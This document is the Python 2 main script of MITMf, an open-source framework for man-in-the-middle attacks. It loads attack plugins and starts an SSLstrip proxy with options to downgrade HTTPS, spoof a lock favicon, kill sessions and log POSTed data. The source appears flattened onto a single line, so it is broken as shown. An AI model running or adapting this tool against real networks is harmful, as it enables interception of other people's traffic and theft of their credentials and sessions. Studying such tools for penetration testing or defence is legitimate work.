#!/usr/bin/env python2.7 # Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License as # published by the Free Software Foundation; either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 # USA # import sys import argparse import os import logging from twisted.web import http from twisted.internet import reactor from core.sslstrip.CookieCleaner import CookieCleaner from core.sergioproxy.ProxyPlugins import ProxyPlugins from core.utils import Banners from configobj import ConfigObj logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy from scapy.all import get_if_addr, get_if_hwaddr from plugins import * plugin_classes = plugin.Plugin.__subclasses__() try: import netfilterqueue if netfilterqueue.VERSION[1] is not 6: print "[-] Wrong version of NetfilterQueue library installed!" print "[-] Download it from here https://github.com/fqrouter/python-netfilterqueue and manually install it!" except ImportError: print "[-] NetfilterQueue library missing! DNS tampering will not work" try: import user_agents except ImportError: print "[-] user_agents library missing! User-Agent parsing will be disabled!" mitmf_version = "0.9.6" sslstrip_version = "0.9" sergio_version = "0.2.1" Banners().printBanner parser = argparse.ArgumentParser(description="MITMf v%s - Framework for MITM attacks" % mitmf_version, version=mitmf_version, usage='', epilog="Use wisely, young Padawan.",fromfile_prefix_chars='@') #add MITMf options mgroup = parser.add_argument_group("MITMf", "Options for MITMf") mgroup.add_argument("--log-level", type=str,choices=['debug', 'info'], default="info", help="Specify a log level [default: info]") mgroup.add_argument("-i", "--interface", required=True, type=str, metavar="interface" ,help="Interface to listen on") mgroup.add_argument("-c", "--config-file", dest='configfile', type=str, default="./config/mitmf.cfg", metavar='configfile', help="Specify config file to use") mgroup.add_argument('-d', '--disable-proxy', dest='disproxy', action='store_true', default=False, help='Only run plugins, disable all proxies') #added by alexander.georgiev@daloo.de mgroup.add_argument('-m', '--manual-iptables', dest='manualiptables', action='store_true', default=False, help='Do not setup iptables or flush them automatically') #add sslstrip options sgroup = parser.add_argument_group("SSLstrip", "Options for SSLstrip library") #sgroup.add_argument("-w", "--write", type=argparse.FileType('w'), metavar="filename", default=sys.stdout, help="Specify file to log to (stdout by default).") slogopts = sgroup.add_mutually_exclusive_group() slogopts.add_argument("-p", "--post", action="store_true",help="Log only SSL POSTs. (default)") slogopts.add_argument("-s", "--ssl", action="store_true", help="Log all SSL traffic to and from server.") slogopts.add_argument("-a", "--all", action="store_true", help="Log all SSL and HTTP traffic to and from server.") #slogopts.add_argument("-c", "--clients", action='store_true', default=False, help='Log each clients data in a seperate file') #not fully tested yet sgroup.add_argument("-l", "--listen", type=int, metavar="port", default=10000, help="Port to listen on (default 10000)") sgroup.add_argument("-f", "--favicon", action="store_true", help="Substitute a lock favicon on secure requests.") sgroup.add_argument("-k", "--killsessions", action="store_true", help="Kill sessions in progress.") #Initialize plugins plugins = [] try: for p in plugin_classes: plugins.append(p()) except: print "Failed to load plugin class %s" % str(p) #Give subgroup to each plugin with options try: for p in plugins: if p.desc == "": sgroup = parser.add_argument_group("%s" % p.name,"Options for %s." % p.name) else: sgroup = parser.add_argument_group("%s" % p.name, p.desc) sgroup.add_argument("--%s" % p.optname, action="store_true",help="Load plugin %s" % p.name) if p.has_opts: p.add_options(sgroup) except NotImplementedError: sys.exit("[-] %s plugin claimed option support, but didn't have it." % p.name) args = parser.parse_args() try: configfile = ConfigObj(args.configfile) except Exception, e: sys.exit("[-] Error parsing config file: " + str(e)) config_args = configfile['MITMf']['args'] if config_args: print "[*] Loading arguments from config file" for arg in config_args.split(' '): sys.argv.append(arg) args = parser.parse_args() #Check to see if called plugins require elevated privs try: for p in plugins: if (vars(args)[p.optname] is True) and (p.req_root is True): if os.geteuid() != 0: sys.exit("[-] %s plugin requires root privileges" % p.name) except AttributeError: sys.exit("[-] %s plugin is missing the req_root attribute" % p.name) #################################################################################################### # Here we check for some variables that are very commonly used, and pass them down to the plugins try: args.ip_address = get_if_addr(args.interface) if (args.ip_address == "0.0.0.0") or (args.ip_address is None): sys.exit("[-] Interface %s does not have an assigned IP address" % args.interface) except Exception, e: sys.exit("[-] Error retrieving interface IP address: %s" % e) try: args.mac_address = get_if_hwaddr(args.interface) except Exception, e: sys.exit("[-] Error retrieving interface MAC address: %s" % e) args.configfile = configfile #so we can pass the configobj down to all the plugins #################################################################################################### log_level = logging.__dict__[args.log_level.upper()] #Start logging logging.basicConfig(level=log_level, format="%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S") logFormatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S") rootLogger = logging.getLogger() fileHandler = logging.FileHandler("./logs/mitmf.log") fileHandler.setFormatter(logFormatter) rootLogger.addHandler(fileHandler) ##################################################################################################### #All our options should be loaded now, pass them onto plugins print "[*] MITMf v%s online... initializing plugins" % mitmf_version load = [] for p in plugins: try: if vars(args)[p.optname] is True: print "|_ %s v%s" % (p.name, p.version) if getattr(args, p.optname): p.initialize(args) load.append(p) except Exception, e: print "[-] Error loading plugin %s: %s" % (p.name, str(e)) #Plugins are ready to go, start MITMf if args.disproxy: ProxyPlugins.getInstance().setPlugins(load) else: from core.sslstrip.StrippingProxy import StrippingProxy from core.sslstrip.URLMonitor import URLMonitor URLMonitor.getInstance().setFaviconSpoofing(args.favicon) CookieCleaner.getInstance().setEnabled(args.killsessions) ProxyPlugins.getInstance().setPlugins(load) strippingFactory = http.HTTPFactory(timeout=10) strippingFactory.protocol = StrippingProxy reactor.listenTCP(args.listen, strippingFactory) #load custom reactor options for plugins that have the 'plugin_reactor' attribute for p in plugins: if getattr(args, p.optname): if hasattr(p, 'plugin_reactor'): p.plugin_reactor(strippingFactory) #we pass the default strippingFactory, so the plugins can use it print "|" print "|_ Sergio-Proxy v%s online" % sergio_version print "|_ SSLstrip v%s by Moxie Marlinspike running...\n" % sslstrip_version reactor.run() #run each plugins finish() on exit for p in load: p.finish()